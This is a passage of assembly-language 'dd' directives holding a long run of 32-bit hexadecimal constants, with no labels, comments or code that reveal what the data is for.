0BC54907h, 1994B62Eh, 0D04812E8h, 0FC227EFEh dd 0C53196B7h, 0A59BC655h, 0BAF72919h, 0F9BEC0ABh, 68CD98A3h dd 2E743B5Fh, 0BE012D63h, 705A2089h, 8D087701h, 0E6A92598h dd 2701540Fh, 5BECBD49h, 0D83FD7CAh, 5805FFEh, 7215AD55h dd 50EBFBABh, 0E1A758F9h, 85591246h, 15BEFCEDh, 0F6C99E9Eh dd 0E11A09FCh, 0D92353ACh, 4C3D27B4h, 0CE7CA737h, 2D7DEA29h dd 0FC77D8DFh, 4AFADCCFh, 0F51CD673h, 88BF2903h, 940B45F9h dd 33AB4DA4h, 4710751Bh, 0F0DEC633h, 0E5D4D3DBh, 0ADCA3B0Ch dd 0F6B0D7B5h, 92D5EA34h, 49C93116h, 0E125B5C2h, 0E6392E2Ah dd 502FA631h, 82560154h, 4126FB4Ch, 0DFB0A79h, 0CB63C5D6h dd 95B3A50Dh, 61B4BC84h, 1462A74Dh, 0EBE12B5Fh, 2A6876F1h dd 49920493h, 0CD048B42h, 20CE8FC0h, 9D1888E7h, 784107F5h dd 1CB04941h, 9036055Dh, 81AC6CDEh, 906B7A26h, 8434820Ah dd 2D1FF3h, 242F5780h, 8D58CB84h, 130F136Dh, 5C188AB6h dd 5BFA8B77h, 0A66A49AAh, 278596EAh, 9F70141Fh, 4184AA50h dd 4B6C049Fh, 473CCC8Fh, 0B14D6D19h, 225AE1C0h, 0F55D4294h dd 5442860h, 0BED6393Fh, 4E620C49h, 21A4F0EDh, 515093F6h dd 0BEF5B0B3h, 4D1D2FD8h, 74AA6E19h, 8FD71EF3h, 4EEF6542h dd 25F955F1h, 0FBF367F8h, 4255CAABh, 0C762AFCFh, 1E6A3414h dd 8FF51298h, 2CB62654h, 2B2F7EC6h, 341047F1h, 42F6C6D4h dd 25BCFDCh, 0E9939291h, 0B511E125h, 9B5FCC5Ah, 0A11B9FFEh dd 0D1DD5F27h, 0EAE9E7D6h, 45E36FA6h, 51C54B44h, 0A83AAED0h dd 1D7639F5h, 0ABC83ED0h, 0F00A150Dh, 467E76D3h, 5A61909Fh dd 1768C803h, 0FE1B0E0Eh, 57B76C65h, 0EFA23059h, 53581173h dd 0A6755DD8h, 0F5F0735h, 697481B5h, 0CE9CCB76h, 0C1102DCFh dd 1DFB0BBEh, 6D243F13h, 0C4E63C45h, 5FB1591h, 0A465CF35h dd 0BE4E12C8h, 13C3B0E9h, 0CA93E80Eh, 9017192Eh, 67B23537h dd 1DB8BAB4h, 0B6635CB9h, 6265355Eh, 0C3BC0F8Eh, 0EC8F8EBAh dd 96D83E81h, 868514A3h, 5F74834Eh, 7791FD98h, 978B0EEh dd 36EAA9A4h, 8AA52AF7h, 64D38212h, 9EF6A275h, 741A80F4h dd 0C0BA93CAh, 0E4256820h, 7441635Ch, 6D43408Dh, 6E697F06h dd 0CAC22032h, 8B35410Eh, 0E01D6EEAh, 0E7B692A8h, 10548D0Eh dd 8C0C7D4Dh, 0B0A21991h, 725D0615h, 34CC6C86h, 4D09CADFh dd 78ABB3B1h, 24F3CA88h, 0AA1A3BF1h, 0CD9D1C16h, 0ADC80446h dd 7269565Ah, 8CE43DEh, 0B9723F57h, 504C4627h, 0DAAC9FF7h dd 4C9C10C3h, 0A08F4CB9h, 0A1FDA1FAh, 0FCDB98B7h, 29DB931Bh dd 6AFDDC36h, 4BB992EAh, 0AB1CCC94h, 36FA9CDDh, 1F87260Ch dd 0F789DADAh, 0EC662D67h, 400A0436h, 0EFE5DDEEh, 8F9A4CA1h dd 0DEBBF753h, 562D7307h, 0F6E689E3h, 1FE0BC5Ah, 73100BE7h dd 700DD9A9h, 7894E4DEh, 13F86130h, 0B7A2C5h, 0F64B6AF1h dd 0C10BDB8Eh, 909CE739h dd 486F7E20h, 0E8319E3Ah, 17808826h, 0FF89F7A3h, 17353D34h dd 0A4FDFF1Fh, 0F7444D08h, 0C44AA6E7h, 5158CF94h, 7ECC60D8h dd 8F76AA9Ch, 66E40E29h, 6D2A7EC4h, 5B31F1Fh, 5E4D164Dh dd 0AA85C2B9h, 0E70D9F6Ah, 13818B35h, 1AACFB70h, 7458DF23h dd 41E7E030h, 5A503BC8h, 783108DAh, 0F93BEC0Ah, 5F5CC144h dd 5EB3AF1h, 0B249F65Bh, 84E93CC3h, 20B335BFh, 0AFB76F74h dd 0AE28736Dh, 0C9E53E6Eh, 1E6F20A3h, 7A2A62C6h, 84153474h dd 84B27F50h, 0C83FCA4Bh, 4A9C29F0h, 0F17C32E4h, 0BDB8E59Bh dd 3E9335DBh, 5F22B7CBh, 54F94971h, 38B1EB32h, 0E38CE389h dd 0DECB2B53h, 97730976h, 0D523B2ECh, 43081D05h, 197F987Ch dd 2BD7A11Dh, 350558C4h, 389C3890h, 8B6DE15Fh, 5ACC58D0h dd 4D5E7023h, 3F87920Ch, 0B4C3E0B5h, 8FBEFEA1h, 98A277F3h dd 0E10FDAF3h, 13D28E24h, 908E822Bh, 0B5986BFCh, 77615A58h dd 0A1AD8B52h, 0E9F35E54h, 0F0FB6E32h, 4CD52991h, 0E3E9983Bh dd 0A164323Fh, 850E14Bh, 81D70521h, 75881C84h, 7E5E24B0h dd 0FA5802F4h, 0BC0EC24Dh, 655414B4h, 940C869Bh, 163B7B0Ch dd 28B21768h, 275AFBBCh, 0B82BA05Bh, 7E5317CDh, 0CF695D59h dd 0CB1D62DBh, 3DEA3212h, 0DFDC7741h, 0A2C1768Fh, 2DA4496Ch dd 2CEA4AF2h, 0A53F983Dh, 3ABC5354h, 0F37DF2C7h, 42A2AE46h dd 5D79A5A8h, 0A0D90642h, 6CF4ABF5h, 6158109h, 0C58AB502h dd 0D1D1DFF8h, 0A3A66686h, 0D90B5EDDh, 5A66326Dh, 0C39EB526h dd 0C50626Eh, 0EF22B642h, 9B68311Fh, 0DB2C5B03h, 4DBB71CBh dd 0D1EC517Eh, 81D9FF29h, 0AD6E6B2Fh, 0A7E66FDBh, 434D274Ah dd 65E3A56Eh, 86E6587h, 0A0C49Eh, 6AD0160Ah, 0E7168169h dd 1DE820DAh, 0E128EA87h, 0FE852343h, 0F52F4410h, 9F434109h dd 26807586h, 25DA03B3h, 1ED6C0A9h, 0E4FE519Ch, 84FE4CA5h dd 75FB0777h, 0C7D01585h, 5AD28536h, 0E31059D4h, 371C18D8h dd 706748A3h, 0EFF4A7C2h, 367625E8h, 85019FE0h, 0B7DCEDCBh dd 1FE973Ch, 0B984A526h, 22A24374h, 0BE14E947h, 290A6E2Dh dd 0FADC83AFh, 0FEADB96Fh, 0F86D8C9Eh, 8130C1C5h, 0DF67A33Fh dd 37427FAFh, 0CEDDB69Ah, 0B60C4FB1h, 0FE2136FAh, 0CFCCD095h dd 6E02E94Ch, 8D5A3D8Eh, 3162D239h, 4BBCAD6Ch, 35446A2Eh dd 7DA0B6B1h, 4875AF72h, 31DCB157h, 0F136648Dh, 2F81E5E0h dd 5CCD9835h, 0CD04AFE1h, 81D2AA0Eh, 47FE41A7h, 0D57993DAh dd 10D830E3h, 49639811h, 27621341h, 886A867Fh, 7D766175h dd 39B5AABDh, 56F8FCC7h, 0B4000948h, 7140085Fh, 0D90EF591h dd 7431AEh, 0ECFCBE8h, 11F4208Dh, 5AAB2D68h, 0DE18A71Eh dd 16AB9933h, 0E492021Bh, 871D1CE0h, 674A166Eh, 0CFE0345Fh dd 0BF5EC9A9h, 90909331h, 9B9FA9EFh, 4CD5E38Dh, 830F1291h dd 461863CEh, 701E01ACh, 8B8E3AF3h, 7EF39137h, 5A947101h dd 99DBB319h, 7A01D26h, 512C55A3h, 0F26CBCDDh, 12CE6FF7h dd 0B5625C3Dh, 336CA11Dh, 0FAF4730Ah, 8F904472h, 305ED601h dd 0C601A61Bh, 5B8C75B0h, 6E453DDDh, 11FF3B21h, 0C7BEF0h dd 7ECD8043h, 5D909CE5h, 0A39497FFh, 0D3C50136h, 26A57F48h dd 51172065h, 81614FD1h, 335502E2h, 0D7CC0DABh, 0ACD317DDh dd 0DF180EDEh, 0EF952E4Fh, 1E380770h, 0C270C346h, 41CAE2B2h dd 0E741E79Bh, 4EAB3603h, 3EFE7871h, 869E23A1h, 32B534C6h dd 0E2A7DC91h, 7D54388Bh, 3D059144h, 60A0F74Fh, 0E18F9296h dd 8D7B6D8Fh, 848E7DE5h, 0E72A4FB9h, 7BA44024h, 3211A5AEh dd 0A69FD285h, 7263E4C0h, 5D307AC8h, 3AB2A792h, 0ADE14890h dd 0D88FBE6h, 2341CC0Ah, 6B7A2A68h, 1BF65952h, 0F1C4FDD9h dd 8F4829DBh, 7CF06AF9h, 0CACD49F6h, 0EDA01808h, 0C73F476Fh dd 26D5191h, 0A3ABF235h, 0EC26E344h, 69045089h, 0ACFFC842h dd 197A2044h, 61507592h, 8FAACE4h, 0D8395D12h, 28A35D95h dd 430E7F0Bh, 0E888D1ABh, 0AD25D6E4h, 604B2E76h, 259CD854h dd 77722B81h, 0E3F46D54h, 0C0A74E66h, 17EEB8ABh, 70CE34A0h dd 77A8D271h, 0F10B5B69h, 0B70033BFh, 957E1146h, 16999F5h dd 61BBB172h, 9C4A489h, 3219A366h, 15080217h, 97812FEh dd 3F738961h, 0BE044341h, 8C4E74Bh, 0B04005D3h, 1E6E308Bh dd 7AE1B664h, 0E1926246h, 42B2C4B8h, 0A5383E16h, 0A83FFB1Dh dd 9FF3644Dh, 0A1ADDDA6h, 0BD16D11Bh, 0AD5E2A69h, 0FF3912DBh dd 73E5260Ch, 56C316C0h, 919B5535h, 5A9A59D9h, 5126D93Dh dd 0C6C502C4h, 9915AF3Bh, 0A9944D71h, 0F5610C91h, 7402A363h dd 87CF2008h, 873F3924h, 0AC634FEBh, 6D1F405Ah, 3D09CCF9h dd 1FFD3C16h, 0D32E578Fh, 0BBC8A2B9h, 0B95A440Bh, 4F7162D4h dd 6A72D84Ah, 0AD6C801Dh, 0CE8047DAh, 0DD76A8Ah, 350E9AE2h dd 0D472B25Ch, 0CCD98879h, 0BE4B905Dh, 82EF8EE8h, 2BBD78CEh dd 0C257A353h, 0D008A5D8h, 43FC0164h, 7F8A9645h, 32AB0AE7h dd 1D1B41EFh, 8151B80Fh, 602619E3h, 0EDF8A063h, 0A5940DC1h dd 0CF94734Eh, 8B0FCAE2h, 2F4A0D13h, 69EE9F1h, 15BD0039h dd 4D0E8Ah, 0F7950DE9h, 93D8C7FAh, 0B31A0F18h, 0EEC46438h dd 0B477526Ah, 43AA00ACh, 0CF013579h, 9FDC53A5h, 55B4927Eh dd 4918BAA8h, 0A178EAAAh, 0AE0B1310h, 0A7937377h, 0E1DE6380h dd 2F4250F3h, 0C2C3680Fh, 3E00D2A9h, 0B7FEB656h, 3255149Fh dd 0F191BD14h, 3801330Bh, 0E2C26552h, 3BFF217Dh, 0D19E8D43h dd 44F027BAh, 0B2D27B3Bh, 0A7DEB7FDh, 52B0E797h, 2C22727h dd 0C11E55FCh, 142D2E19h, 9A0D8Dh, 0BF64F7F4h, 60B30051h dd 1B7B81Bh, 0D1661026h, 2791FBEh, 0A234B783h, 0CACD8389h dd 0D14BEEE0h, 92706427h, 0E131601h, 0E97B1337h, 6C478B94h dd 931B0D80h, 92E207E4h, 0E79E0C14h, 0E0040CA5h, 31F2B3C1h dd 0A0B0459Eh, 4CDFC921h, 0CD53118Ah, 94A36666h, 0B8E187C3h dd 2A66942Bh, 0C1D2C8Dh, 0CB07EF7Ch, 56F36F5Dh, 275432F1h dd 9CD032F9h, 1C0BF8ACh, 0FE7DB648h, 606A3BECh, 0F76155A4h dd 6106ECECh, 0A952AECAh, 88CAC3F7h, 4B18A6B3h, 0B3EED1AAh dd 0E875AEC5h, 0F05528B4h, 907EA022h, 43EA5D70h, 0A13897DBh dd 0BF7C5DF1h, 8501AA71h, 0F1CFBDAFh, 9D7D9DA9h, 0BCDB216h dd 1738B0A8h, 0B4BF6677h, 0F9575BF1h, 3FC12136h, 0A3E12FF6h dd 0B792A371h, 0FA26D7C3h, 0BCFCD2F4h, 0DA3DB8Eh, 0F04AFED1h dd 0C4068833h, 3FC14486h, 807EBD8Eh, 3C08D1F7h, 90A6DFA2h dd 2A0F68FAh, 0CFD6B2E2h, 473AA476h, 0E2B423DBh, 4D803253h dd 0E6FC38h, 0DA2C9CD1h, 3790970Ch, 3C41D8DAh, 6A8B8C47h dd 1FB141ABh, 8301B658h, 0C8D6D8CCh, 0B01B7A49h, 950E9606h dd 0B43FC65Fh, 34F0416Dh, 1EC21E11h, 0BBE8BB9Dh, 0ED2F6731h dd 0E95BEB28h, 0ABC8C640h, 0DA7B5C02h, 2BC1443Ch, 0CEB41340h dd 63972775h, 22E1E0A6h, 651846D8h, 0B75F50CEh, 4C55E3BEh dd 0D834F3B3h, 7C1E880Ah, 0B7E04AD1h, 21C053ACh, 0C5FAAF52h dd 121A16CDh, 5B2B4DF8h, 0EF97B626h, 0E5481D51h, 30B73EE9h dd 59A17A52h, 3C0238BBh, 65108F2Fh, 40C5258Ah, 0C9DFF466h dd 0E1F789F2h, 13DA192Dh, 87E37595h, 9072FC91h, 0F0CF867Ch dd 0BC1DA329h, 0C3850A65h, 258CADB8h, 666CAF78h, 0C1142565h dd 3F644141h, 0C524A6F5h, 6DA24AE2h, 85545F71h, 8C518647h dd 7A23DEE0h, 1568458Dh, 0D2B06118h, 6E7A88A3h, 0DF7847B5h dd 97507107h, 632036F8h dd 0E9B2897Dh, 8B65C93Eh, 0C64CCC2h, 0CDD9D3E1h, 4F8C3F28h dd 4FCEAD9Eh, 0FB5007C9h, 0AA066FB8h, 0EA637B2Fh, 275715BAh dd 0E20D670Fh, 89CB3EB4h, 0E2B3A8A4h, 36E13114h, 0D8C06B3Bh dd 0BB2A36F0h, 1BDF0740h, 0EF77D95h, 0C7370E1Fh, 0F0FF2024h dd 6B405CD0h, 0C1DE1D98h, 0B358F712h, 0F6D7249Fh, 4E39B14Eh dd 20050670h, 5A7DCB6Ah, 0E9C6C1F4h, 0A889E4C3h, 2042DC06h dd 0DA0824B1h, 414E563Ah, 0C5417402h, 1607A35Eh, 4199EA61h dd 0BCADBF47h, 88B4DC91h, 1693ADACh, 1FA7342Ah, 0E41F3EC7h dd 0E31798B0h, 39A47FEEh, 763AEB4Ah, 2DEFCAB9h, 9FA7D85Dh dd 22556282h, 88339707h, 0A041B52Fh, 7A7A01EFh, 0D14DBBD3h dd 0BBD4B378h, 74B1BB5Ch, 0D57178CBh, 0DCE706FCh, 848C2098h dd 124FBFE2h, 58A5455Ch, 2A60F1A7h, 75CD43B3h, 0BFCFD8E3h dd 0A11A6AEFh, 5C4223EEh, 0D27CE541h, 4414D0C9h, 0C1981F1Eh dd 206AB61Bh, 49BC4CFDh, 21A80F81h, 12A26637h, 7378D32Fh dd 0EBC81916h, 6A3FFF67h, 0F785843Ch, 7575B822h, 17AB4386h dd 0D3A9DFDDh, 7E9FF4EBh, 26B5871Dh, 0E0F20BEEh, 774B29ACh dd 98D891AEh, 0CDFBF8C1h, 0D4A628BBh, 3A8894EAh, 0E5FEEB22h dd 77FCA381h, 0F3784A2Dh, 0A4082C8h, 3A89E4A5h, 918F640Ah dd 2C4CA00h, 2B852EABh, 0D60F6C6h, 4F455B87h, 0E35E7B64h dd 0F845D5EBh, 0D2E88526h, 0A4CD9FA2h, 0DA3E78C3h, 0AE0C09DEh dd 9E757672h, 17B40F14h, 809D6EB9h, 7A7C3BECh, 0F7568773h dd 59167509h, 2B492259h, 3F5C8270h, 0EF88D65Ch, 55DF1B78h dd 449E5A49h, 8D06CC2Ah, 0A638AC63h, 0BF3B3784h, 9553E1ECh dd 96916075h, 486C9943h, 0AA54464Eh, 1673911Ah, 0EFF4A0BEh dd 0DE0A6929h, 7A02FAEh, 0ABE4E253h, 45A37D1h, 6CFAB6BFh dd 0ABD134A8h, 0EC2A4C47h, 537091F0h, 9EF69EA8h, 0BA822ABh dd 873AC88Fh, 149F4754h, 0E4BE2404h, 0E5BB3701h, 9A530339h dd 0F8AB7B8h, 0E4230D89h, 8F27E50Dh, 0C73717B4h, 0F799D7E1h dd 306CBE58h, 90DD4126h, 0DCA98F11h, 0E6CD3EEh, 0F8525968h dd 0B850D931h, 0D0E3B0E9h, 9A48C732h, 7FAB89Ah, 98936164h dd 25E3D7D5h, 46DEC9C7h, 633A75B7h, 64A80A5h, 10ED41C0h dd 975E26D3h, 2EE7E3FCh, 0E30C51B2h, 0DA5C72BEh, 7F5C638Ah dd 0AA9837F7h, 969C42Fh, 0D00EE63Eh, 4CA587Ch, 48872F5h dd 275071CEh, 0F7E23198h, 12ACFFFh, 2338F0Ah, 1B877079h dd 0B796E295h, 807FA64h, 0CA59AC80h, 0A54E2F25h, 0A04EC8D8h dd 0C31BC9BDh, 0CFF0CB75h, 479FC79Fh, 0AAFEC9D0h, 0CA0D5147h dd 0A076FC49h, 0A02F75C2h, 5936D630h, 47DB28FBh, 5BF63883h dd 4505FFE9h, 72F35FDAh, 68DCC0B3h, 281D17F0h, 78A25BE2h dd 0C05EEA44h, 0F9A70AC7h, 0FA156CC8h, 153ACD8Bh, 0F19E178h dd 8953BD3Bh, 0C90A756Eh, 16CE2D4h, 1DACF7B9h, 0C5957E1Bh dd 627976Dh, 23D0B765h, 0CB09DB0h, 5B0833E7h, 0BFCAE13Ch dd 39BDBDA9h, 18926EE5h, 4746007h, 0D181927Bh, 0CE584253h dd 0E62047CAh, 0D8E1308Fh, 643B393h, 99879A50h, 0F60241D9h dd 75892171h, 2E47559Eh, 0EDCD7A0Fh, 32645D9Bh, 4B31B72h dd 0E801B3E8h, 6E3DC69h, 1FB0E805h, 1686746Ah, 3EDAAFDBh dd 3E7A961Eh, 86F36AE6h, 160606D3h, 7DD07FE4h, 275A84ADh dd 0D07623F4h, 2B13981Dh, 0A577B68h, 41283584h, 18012C7Ah dd 2BF06606h, 0C21F52C6h, 0C6BCCAD1h, 0B8E0B748h, 23438393h dd 0A7B28DE6h, 0A0A31E8Ch, 0B7013AA5h, 4AA14773h, 0AE58DF15h dd 0FCC4DB9h, 0C585B2DDh, 7D5756CAh, 9CDA8C2h, 0D115E0Fh dd 0E75E38Dh, 0E86EB0A2h, 0D0B24A8Dh, 542AB664h, 7EBE8FDAh dd 3A0F435Fh, 1E5A5887h, 0DA12A9B9h, 0C9D44CB4h, 48C45C09h dd 8664D2ADh, 64BEB93Dh, 688AB8C4h, 1260B335h, 6A55D32Ah dd 48A6A6ACh, 4E665031h, 0C556946Bh, 0A565CA09h, 0BF2BD0B1h dd 2C996A75h, 8942D2A6h, 0CD1E0DD5h, 2B720D03h, 923BB0B1h dd 0A8F66578h, 0A9AFE7DEh, 4BE16F9Ch, 69CCF0E4h, 49BD8D0Bh dd 668374FCh, 0DBE3419Eh, 2FD70F2Ah, 0AE789965h, 3078AF9Dh dd 95BCEDEFh, 0B13DBBABh, 82CC975Ah, 0C03592AAh, 99942F99h dd 43FEC136h, 0CFD693C0h, 0A43BA5D7h, 31932F73h, 27750A0Dh dd 0CA787D1Bh, 0CFD4AA88h, 878F9F39h, 45776855h, 717A6320h dd 31467AD0h, 0CF90C478h, 0EEF90371h, 9C260D8Dh, 1D0D3B5Fh dd 0BB1E9A64h, 118AC894h, 0AA4514E5h, 0F90F28F4h, 7768B0D3h dd 0C621AB83h, 4A3CEAB2h, 5185BBE6h, 6DA09C49h, 0B70B84ACh dd 1E6AF6BCh, 2EA27E4Dh, 16A4C71Dh, 8E70E912h, 32F0B2F1h dd 0CFDDE6B2h, 528B1997h, 7D7B1627h, 686D3262h, 4385BE57h dd 0B2A8FC31h, 674D10F2h, 32C3F825h, 237A8FECh, 1CF143Ah dd 0B01051B2h, 96979689h, 5D7F4197h, 378681C0h, 689EA51Fh dd 1663E0FEh, 0DF6DEB0h, 1F61B5C9h, 487F376Ah, 2BD6E808h dd 669A1225h, 2D6E168h, 0A212C598h, 8CCD0953h, 17AF0E71h dd 78ED1AFAh, 9E3E2E80h, 22588DD7h, 8EB2A4CEh, 5EF824F3h dd 9F2E443Ah, 9E80494Fh, 0F050E1CBh, 0D6206225h, 0E54C3906h dd 9208B51Dh, 114B4A03h, 73F9EA19h, 96332E91h, 0C7E6BC3Fh dd 0BC18B9FAh, 27836339h, 4E5C3752h, 74E410FAh, 7AA8C1B4h dd 0F29819E7h, 275BC728h, 0CBC50066h, 18AC9E93h, 0B979E2E2h dd 99A90E86h, 0EDB0A9E9h, 69BC5C7Eh, 6FBB96A4h, 0E35DAA17h dd 0F51B216h, 2C2CE580h, 28F6EBEFh, 0E57065AFh, 6BCE54ACh dd 0DB420DB5h, 76ADBCACh, 6BAD7996h, 0E7C9DF6Eh, 4AB8BCFCh dd 888AB2B2h, 2F2009F9h, 5F8098EBh, 0A151E7C1h, 1DDA37h dd 80BDF2D3h, 0D145301Eh, 7524C79Fh, 72B809C1h, 23A441C3h dd 27D8B986h, 592208BCh, 0F03DC78Ch, 9F86F64Bh, 0F14E279Ah dd 43EA4F88h, 54A93208h, 0CF30007Bh, 97ACC571h, 5616B524h dd 0BDDE0181h, 5DFF1867h, 701693FFh, 0D1E50A75h, 2FD400BCh dd 99DD3CCCh, 3A49E6A3h, 9663F565h, 4FD3758Bh, 6280B776h dd 2334F0FDh, 964D0FEDh, 839999CDh, 7CEE80AAh, 0F064B99Dh dd 2DA8B2F6h, 0C87DFACBh, 0DA06F705h, 0E9B2E78Bh, 0AD16E055h dd 464ED434h, 376B6AA1h, 49246E7Dh, 6F10BDF0h, 0AD788A4Eh dd 0D1266BA3h, 5E26BA4Ah, 0ABFC8372h, 60552D83h, 1D16B94Ah dd 0D4049763h, 3A03386Fh, 0D9A8C7C6h, 1B0D9088h, 1FB2A8C3h dd 0F4532175h, 45EB405Bh, 9997612Ah, 0B455AB12h, 2C1C332Bh dd 0ADB8D45Fh, 0FBE9FE35h, 18641DA2h, 689AE528h, 0E7C5203Eh dd 79142081h, 0C32A6280h, 0D6A40501h, 0DE0C055h, 0B34C879Ch dd 0B993B4CCh, 9A404EFBh, 4F03505Bh, 736331C7h, 0A1F0211Bh dd 0B20BDA50h, 25B6ED49h, 3BFAD7E3h, 0D4D454B9h, 7753F2C4h dd 315E6CDCh, 0F8A375C3h, 8067592Bh, 0E2348FA0h, 95285D59h dd 0D2EA5484h, 0EC30795Dh, 2707FCBCh, 71C36924h, 0C86991CEh dd 0F8D1B002h, 794D84C4h, 0C05B6094h, 0FD134BEEh, 8FC01F60h dd 912A4164h, 278EC36Dh, 0B7CF67D8h, 0A5ECA134h, 441E0530h dd 0F1F09349h, 3CBA288Eh, 0A613DE03h, 0CF613CCFh, 400CF017h dd 830486DDh, 63E925Bh, 91089092h, 0BA076C82h, 9215492h dd 2A6A12F8h, 0C0B3B831h, 0CBF599EFh, 8EBE28E8h, 6287F888h dd 16761E40h, 0B802B1ADh, 338D6A9Fh, 1C9CAD0Dh, 0E551FC7h dd 0F9A2461Ch, 605F89C6h, 0D579EF8Eh, 0E7B4B97Bh, 62F311FBh dd 5E23A42Bh, 2B838A18h dd 270F30ECh, 0A8BE8AB0h, 35F52877h, 0C6B1D412h, 9EDA839Fh dd 6873A354h, 0F0262970h, 981763EEh, 3884430Ah, 0EE29FF5Dh dd 2379DCDAh, 5A736309h, 0E40FB873h, 6888CD52h, 0D6AC0884h dd 0F9301CC9h, 12E6B6E2h, 3776544Dh, 73C62AFAh, 0A3443EDAh dd 4A207D2Ah, 7A30B2EBh, 593D0E06h, 14612DFCh, 0D112FEC3h dd 8EA56374h, 25007FA4h, 0F4C5B18Dh, 905CFA35h, 0B8F1C92h dd 0CB8BEF3Ah, 7E180EEFh, 56A6A53Eh, 0C775C2FAh, 0F8C12B48h dd 2CD7C63Ch, 7C593593h, 0F005A7FDh, 893CEEDAh, 0B15B481h dd 0BE2B7FD3h, 89031467h, 0C50DC945h, 3770AFE5h, 0AC55361Dh dd 21F1B8D6h, 35E94DDFh, 0C33A9236h, 0E565307h, 0E8AC88Ah dd 877718F8h, 5FBF7454h, 0FDF25378h, 14257978h, 0AC585F47h dd 752ADC72h, 0A00EDACAh, 974E9F0Ch, 9B3EDB8Ah, 20845DF0h dd 3EFBD872h, 4526F64Fh, 9B8C3156h, 3CF983C7h, 516B6774h dd 0A714519Eh, 0FD9999A8h, 52511E8Dh, 0B3721F69h, 0CCD82C3Eh dd 0D654CE25h, 4B590C0Eh, 0AAC351CBh, 3C559B34h, 0D7D704F5h dd 5AA91950h, 0D75F9CF0h, 8B663C45h, 8B1CBCB5h, 2A990749h dd 9BD89A0Ah, 3756F03Bh, 0D64E55F7h, 88E2AB3h, 38710604h dd 56713960h, 35006770h, 0BAA3D091h, 5F359459h, 0C25D7DA4h dd 35A338Bh, 0EC53BF6Ch, 0D2781C8Ch, 0DCB5C0F3h, 1AA67299h dd 0D457E741h, 0F2BD784h, 273A0E0Fh, 13489004h, 0CC08D819h dd 1473582Ah, 754EE0A1h, 7D5BA4E2h, 0FE191698h, 0B37D4094h dd 2B9D65F2h, 35562D72h, 0A203A7D0h, 53B46B5Dh, 461B7753h dd 1375145h, 0C030F644h, 0F1562302h, 9DB1807Ch, 24FC46B4h dd 657BD96Dh, 31788F59h, 0F8AB9DEBh, 5A7A9BB8h, 0DB023D74h dd 8A1CE917h, 8F06A69Bh, 0B8740A3Bh, 89579324h, 4D09F01Eh dd 0F10401Ah, 0F6CEB50h, 380AD21Dh, 40F6F115h, 334FDFC1h dd 0E5691458h, 0F6FD365Eh, 0AA60D079h, 0FB7A296Bh, 0A949C936h dd 9DD90C78h, 57BC3847h, 7955E79Fh, 8F84A642h, 64DAEF3h dd 20883303h, 621F24C1h, 0EEE189CAh, 0CC875E19h, 851EA31Ch dd 49432D2Bh, 551C2380h, 0CD44021Fh, 9BB75BEh, 0D264DA75h dd 63E815D9h, 0B8BAC3E0h, 8F59E87Eh, 382CECEEh, 3CB92B35h dd 912EB3C4h, 2DEB1EFh, 0BAF6CC60h, 7556DDBBh, 13AEA285h dd 0E16DC75Fh, 45B77196h, 1D0B474Eh, 59CB086Fh, 0C6B77CC2h dd 8A032B81h, 5CB48BBBh, 23DB625Ah, 9006DD25h, 3EFD470Ah dd 783CAF3Ah, 0F9E313F8h, 0B50470E2h, 212465DAh, 95AAAB6Eh dd 97C7173Dh, 0FE2C49FAh, 47466DD0h, 4847C984h, 14BEEFDFh dd 32F10900h, 9DB10B0Fh, 1C5728A7h, 9B1B2CCh, 24909FF5h dd 0D4ACE1D0h, 4D3EF1CFh, 5AF511F4h, 41E62BFh, 742D3D30h dd 0E29B5438h, 60E46394h, 277EA16h, 0FDD1AEE0h, 4B839F3Ah dd 218860Dh, 0F7D7201Ah, 1575E8F4h, 8AC0F360h, 6D1F2DC3h dd 2BBD4972h, 0FFD3735Eh, 89FCA649h, 4653E754h, 548EC86Ah dd 10CC2D46h, 0F539E4ECh, 0B284A6E9h, 1F3FEA1Fh, 0A454B48Bh dd 0D9A91D4Fh, 181F3859h, 9E5E1EE8h, 156CDFF3h, 49E329B6h dd 0D18A3757h, 511059EBh, 80BB2791h, 64DC1B81h, 80C5600Fh dd 0D65E07Fh, 0C943695Ch, 2A901415h, 9B36B09Ah, 6A9531Fh dd 7136E2DEh, 5859BAC6h, 94D60612h, 2D54FF8Dh, 5A3C205h dd 8D23E24Eh, 0A256D9EFh, 0E0C997D8h, 1B6AF42Eh, 0F669BBB9h dd 8C9101D2h, 0A715BAAFh, 0CD3686D5h, 0CF794634h, 283EA609h dd 85E54857h, 88E24C68h, 0EC0D238Eh, 0DEBFE073h, 76E34349h dd 8212E12Bh, 0A5F5DE0Ch, 5979A040h, 41E0E883h, 0DE9EF848h dd 6F1F6183h, 809A7A36h, 73EFBB2Bh, 0AB3B76D2h, 7C47B42Ch dd 4F1FA92Dh, 17D889A4h, 88C71103h, 6F92BF80h, 0DA1E0113h dd 22EF804Dh, 0F8096D1Fh, 58E95100h, 6C68D513h, 0C25339F4h dd 59BF2698h, 4D5ED8C7h, 0C7B66222h, 8D4BDE9Ch, 2261BFC4h dd 2FFFC7B0h, 8D243F22h, 0E4B591Fh, 6056F93Eh, 217DB259h dd 89B91FF4h, 0EE15E256h, 0A2DDBEC1h, 0F208B645h, 0F1DF2187h dd 0DB46FF47h, 0D4C7B17Dh, 0C2C8524Fh, 0EF7FC06Dh, 896E984Bh dd 8B6DB039h, 20D44C23h, 630109E7h, 5EB07A04h, 4A0665CDh dd 9062623Bh, 757613A6h, 0C5CA17F7h, 9E591216h, 173AC070h dd 6FFB55B4h, 0A6976B90h, 0DB5AB846h, 4C2FA1DBh, 0B1DC6516h dd 64601C35h, 0B2B5140Bh, 3A6EDEEFh, 0A4992618h, 0FC09B585h dd 4E583916h, 0D65DEFB8h, 0FB1583ACh, 1D5EE4CEh, 66F8452Eh dd 0EBCE71FDh, 1E296B8h, 0EC44CCF7h, 0BEE94DE4h, 0FE6446E7h dd 0EC0004A0h, 0E57D17B6h, 85E1BABDh, 4D15449Dh, 5714ED04h dd 9E1E7B37h, 6FCFB5D3h, 0C13B0C47h, 8947CD93h, 12404BEAh dd 0AEAC1AB8h, 0AF152BF5h, 4202CFC8h, 0D1881A23h, 857BD772h dd 6FC472B1h, 0A2392E97h, 2528E9A4h, 6C558040h, 6EA9B36Eh dd 0E561F3ABh, 2ED79C35h, 1296EA78h, 5ADB1A16h, 93921B81h dd 970ABF6Fh, 8DC43B34h, 958AFD11h, 70129F9Fh, 0C6A92EE4h dd 0B243EFD7h, 862BC94Fh, 0E5FA66D9h, 0C8E5B4C8h, 38082020h dd 1AA8B7E2h, 0E53E044Ah, 19220044h, 0A322EC86h, 473022A6h dd 18C24307h, 0E0950133h, 0B7CA5290h, 0E0F0B544h, 0F0C99136h dd 3EDB15F8h, 8F4C4F11h, 81395630h, 